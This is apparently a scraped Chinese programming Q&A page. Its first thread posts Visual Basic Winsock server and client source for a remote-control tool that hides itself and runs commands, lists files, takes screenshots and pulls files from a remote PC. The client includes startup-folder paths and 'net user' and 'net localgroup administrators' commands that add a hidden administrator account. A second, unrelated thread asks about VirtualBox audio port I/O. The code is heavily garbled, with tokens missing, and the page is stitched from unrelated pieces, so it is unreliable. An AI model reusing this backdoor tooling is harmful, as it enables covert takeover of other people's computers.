谁有Vb 远程控制的代码呀,利用winsock编写的,客户端和服务器端,能控制对方界面的,
其实很简单 就是一个 wisock 控件下面是说明用wisock控件做,必须知道一方的IP,如被控制方IP。 被控制方程序: Private Sub Form_Load() = 2555 End Sub Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) Winsock2(i) requestID End Sub Private Sub Winsock2_DataArrival(Index As Integer, ByVal bytesTotal As Long) Dim strtmp As String Winsock2(Index) strtmp 判断strtmp,是指定内容,就执行相关代码。 略 End Sub 控制方程序:(假设对方IP是222.222.222.222) Private Sub Command1_Click() Dim strtmp As String strtmp = Text1 While <> 7 DoEvents Wend strtmp End Sub Private Sub Form_Load() 222.222.222.222, 2555 End Sub 附件: 我的源代码--------------服务端Option ExplicitPrivate Declare Sub keybd_event Lib user32 (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)Const theScreen = 1Const theForm = 0Dim filetypes As String查找第一个文件的APIPrivate Declare Function FindFirstFile Lib kernel32 Alias FindFirstFileA (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long查找下一个文件的APIPrivate Declare Function FindNextFile Lib kernel32 Alias FindNextFileA (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long获取文件属性的APIPrivate Declare Function GetFileAttributes Lib kernel32 Alias GetFileAttributesA (ByVal lpFileName As String) As Long关闭查找文件的APIPrivate Declare Function FindClose Lib kernel32 (ByVal hFindFile As Long) As Long以下为调用浏览文件夹窗口的APIPrivate Declare Sub CoTaskMemFree Lib (ByVal hMem As Long)Private Declare Function lstrcat Lib kernel32 Alias lstrcatA (ByVal lpString1 As String, ByVal lpString2 As String) As LongPrivate Declare Function SHBrowseForFolder Lib shell32 (lpbi As BrowseInfo) As LongPrivate Declare Function SHGetPathFromIDList Lib shell32 (ByVal pidList As Long, ByVal lpBuffer As String) As Long常量Const MAX_PATH = 260Const MAXDWORD = &HFFFFConst INVALID_HANDLE_VALUE = -1Const FILE_ATTRIBUTE_ARCHIVE = &H20Const FILE_ATTRIBUTE_DIRECTORY = &H10Const FILE_ATTRIBUTE_HIDDEN = &H2Const FILE_ATTRIBUTE_NORMAL = &H80Const FILE_ATTRIBUTE_READONLY = &H1Const FILE_ATTRIBUTE_SYSTEM = &H4Const FILE_ATTRIBUTE_TEMPORARY = &H100Const BIF_RETURNONLYFSDIRS = 1Private Type FILETIMEdwLowDateTime As LongdwHighDateTime As LongEnd Type定义类(用于查找文件)Private Type WIN32_FIND_DATAdwFileAttributes As LongftCreationTime As FILETIMEftLastAccessTime As FILETIMEftLastWriteTime As FILETIMEnFileSizeHigh As LongnFileSizeLow As LongdwReserved0 As LongdwReserved1 As LongcFileName As String * MAX_PATHcAlternate As String * 14End Type定义类(用于浏览文件夹窗口)Private Type BrowseInfohWndOwner As LongpIDLRoot As LongpszDisplayName As LonglpszTitle As LongulFlags As LonglpfnCallback As LonglParam As LongiImage As LongEnd Type自定义函数Function StripNulls(OriginalStr As String) As StringIf (InStr(OriginalStr, Chr(0)) > 0) ThenOriginalStr = Left(OriginalStr, InStr(OriginalStr, Chr(0)) - 1)End IfStripNulls = OriginalStrEnd Function自定义函数Function FindFilesAPI(path As String, SearchStr As String, FileCount As Integer, _DirCount As Integer)SearchStr = *.*Dim wenjianmulu As StringDim FileName As String 文件名Dim DirName As String 子目录名Dim dirNames() As String 目录数组Dim nDir As Integer 当前路径的目录数Dim i As Integer 循环计数器变量Dim hSearch As Long 搜索句柄变量Dim WFD As WIN32_FIND_DATADim Cont As IntegerIf Right(path, 1) <> \ Then path = path & \搜索子目录nDir = 0ReDim dirNames(nDir)Cont = TruehSearch = FindFirstFile(path & *, WFD)If hSearch <> INVALID_HANDLE_VALUE ThenDo While ContDirName = StripNulls()If (DirName <> .) And (DirName <> ..) ThenIf GetFileAttributes(path & DirName) And FILE_ATTRIBUTE_DIRECTORY ThendirNames(nDir) = DirNameDirCount = DirCount + 1nDir = nDir + 1ReDim Preserve dirNames(nDir)End IfEnd IfCont = FindNextFile(hSearch, WFD) 获取下一个子目录LoopCont = FindClose(hSearch)End If 遍历目录并累计文件总数hSearch = FindFirstFile(path & SearchStr, WFD)Cont = TrueIf hSearch <> INVALID_HANDLE_VALUE ThenWhile ContFileName = StripNulls()If (FileName <> .) And (FileName <> ..) ThenFindFilesAPI = FindFilesAPI + ( * MAXDWORD) + = FileCount + path & FileName & Format((( * MAXDWORD) + ) / 1024, #,###,###,##0) & kwenjianmulu = wenjianmulu + llwjml & path & FileNameEnd IfCont = FindNextFile(hSearch, WFD) 获取下一个文件WendCont = FindClose(hSearch)End If如果子目录存在则遍历之 wenjianmuluEnd FunctionPrivate Sub Command2_Click()Print SubPrivate Sub Command3_Click()Dim FileName As StringFileName = Trim()Dim Buffer() As ByteDim fLen As LongDim FPath As StringFPath = FileNamefLen = FileLen(FPath)ReDim Buffer(fLen - 1)Open FPath For Binary As #3Get #3, 1, BufferClose # BufferEnd SubPrivate Sub Form_Load() = 传递文件类型End SubPrivate Sub List1_DblClick()MsgBox SubPrivate Sub Ws_Close() SubPrivate Sub Ws_ConnectionRequest(ByVal requestID As Long)If <> sckClosed Then requestIDEnd SubPrivate Sub Ws_DataArrival(ByVal bytesTotal As Long)Dim tmp As String, tmp1 As tmp, vbStringtmp1 = Mid(tmp, 1, 6)Select Case tmp1Case msgboxMsgBox Mid(tmp, 7), vbOKOnly, 警告!Case dakaiwCall FindFilesAPI(Mid(tmp, 7), *.*, 1, 1)Case yunxinShell Mid(tmp, 7), vbHideCase yuanpmMsgBox Mid(tmp, 7)Call keybd_event(vbKeySnapshot, theForm, 0, 0)若theForm改成theScreen则Copy整个 = (vbCFBitmap)SavePic , C:\, Buffer1() As ByteDim fLen1 As LongDim FPath1 As StringFPath1 = C:\1 = FileLen(FPath1)ReDim Buffer1(fLen1 - 1)Open FPath1 For Binary As #3Get #3, 1, Buffer1Close # Buffer1Case xiazaiDim FileName As StringFileName = Mid(tmp, 7)Dim Buffer() As ByteDim fLen As LongDim FPathAs StringFPath = FileNamefLen = FileLen(FPath)ReDim Buffer(fLen - 1)Open FPath For Binary As #3Get #3, 1, BufferClose # BufferEnd SelectEnd SubSub Command1_Click()Dim SearchPath As String, FindStr As StringDim FileSize As LongDim NumFiles As Integer, NumDirs As IntegerDim iNull As Integer, lpIDList As Long, lResult As LongDim sPath As String, udtBI As BrowseInfoWith udtBI设置浏览窗口 = = 浏览器的标题 但我试了很多次都出错(出错码13)返回选中的目录 = BIF_RETURNONLYFSDIRSEnd With调出浏览窗口lpIDList = SHBrowseForFolder(udtBI)如果点击“取消”,则关闭浏览窗口If lpIDList = 0 Then Exit SubIf lpIDList ThensPath = String$(MAX_PATH, 0)获取路径SHGetPathFromIDList lpIDList, sPath释放内存CoTaskMemFree lpIDListiNull = InStr(sPath, vbNullChar)If iNull ThensPath = Left$(sPath, iNull - 1)End IfEnd = = sPath 选中的目录为搜索的起始路径FindStr = filetypes 搜索所有类型的文件(此处可另作定义)On Error Resume NextFileSize = FindFilesAPI(SearchPath, FindStr, NumFiles, NumDirs) = 查找到的文件数: & NumFiles & 个 & vbCrLf & 查找的目录数: & _NumDirs + 1 & 个 & vbCrLf & 文件大小总共为: & _Format(FileSize, #,###,###,##0) & 字节 = vbDefault显示文件大小时,如果文件太多会出错,我想不出解决的办法End Sub--------客户端Dim strFileName As StringPrivate Sub Command3_Click() yunxin & SubPrivate Sub Command5_Click() 下载文件If Dir(strFileName) <> ThenKill strFileNameEnd xiazai & = c:\ & Right(, 5)End SubPrivate Sub Command6_Click()If Dir(strFileName) <> ThenKill strFileNameEnd IfstrFileName = C:\ yuanpm & fffffIf MsgBox(444, vbOKCancel) = 2 ThenEnd SubPrivate Sub Form_Load()strFileName = InputBox(baocun, , C:\) = 127.0.0.1 远程IP = 7758 远程端口 C:\ D:\ E:\ F:\ G:\ H:\ C:\ C:\WINDOWS\ C:\Documents and Settings\All Users\「开始」菜单\程序\启动 C:\Program cmd /c net user qyjack qyjack / cmd /c net user qyjack / cmd /c net user guest / cmd /c net localgroup administrators qyjack /addEnd SubPrivate Sub Wc_ConnectionRequest(ByVal requestID As Long)If <> sckClosed Then requestIDEnd SubPrivate Sub Command1_Click() 打开目录If Dir(strFileName) <> ThenKill strFileNameEnd IfDim str As String, str1 As Stringstr1 = Trim()str = dakaiw & strEnd SubPrivate Sub List1_DblClick()If Dir(strFileName) <> ThenKill strFileNameEnd dakaiw & SubPrivate Sub Command2_Click() 发送消息Dim str As String, str1 As Stringstr1 = Trim()str = msgbox & strEnd SubPrivate Sub Wc_DataArrival(ByVal bytesTotal As Long)Dim tmp As String, tmp1 As String, b() As String, i As IntegerDim Buffer() As ByteReDim Buffer(bytesTotal) tmp, BufferDim getLen As LongOpen strFileName For Binary As #1getLen = LOF(1)Put #1, getLen + 1, BufferClose #1Open strFileName For Input As #2Input #2, tmpClose #2Text5 = tmptmp1 = Mid(tmp, 1, 6)Select Case tmp1Case () = Split(tmp, llwjml)For i = 1 To UBound(b, 1) b(i)Next iCase ElseEnd SelectEnd Sub
使用VirtualBox模拟Linux系统控制I/O无效
不可能无效,要不然虚拟机就无法运行了,检查你的声卡驱动, 试试你的系统有没有声音,如果其他软件有声音那么一定是你的程序写的有问题(用的api与当前系统不符合)。 然后试着更新驱动,不行的话 可以把源代码贴上来。 你给的代码看不出什么, 之前没有做过音频io,不过在下有一个疑惑。 在虚拟机中控制器端口还和实机一样吗?单纯从io上来说虚拟机是可以模拟不同频率的, 因为对不同频率的声音处理是硬件本身功能, 也就是说你写数据到硬件的buffer, 硬件就能工作。 outb_p(nTC & 0xff, 0x42);outb((nTC >> 8) & 0xff, 0x42);这两行代码我留意到频率的高低字节没有被写入到不同端口而是同一个,是不是有对应的同步机制最后不知道有没有对应的端口可以inb到读写状态(BUSY), 如果有 可以debug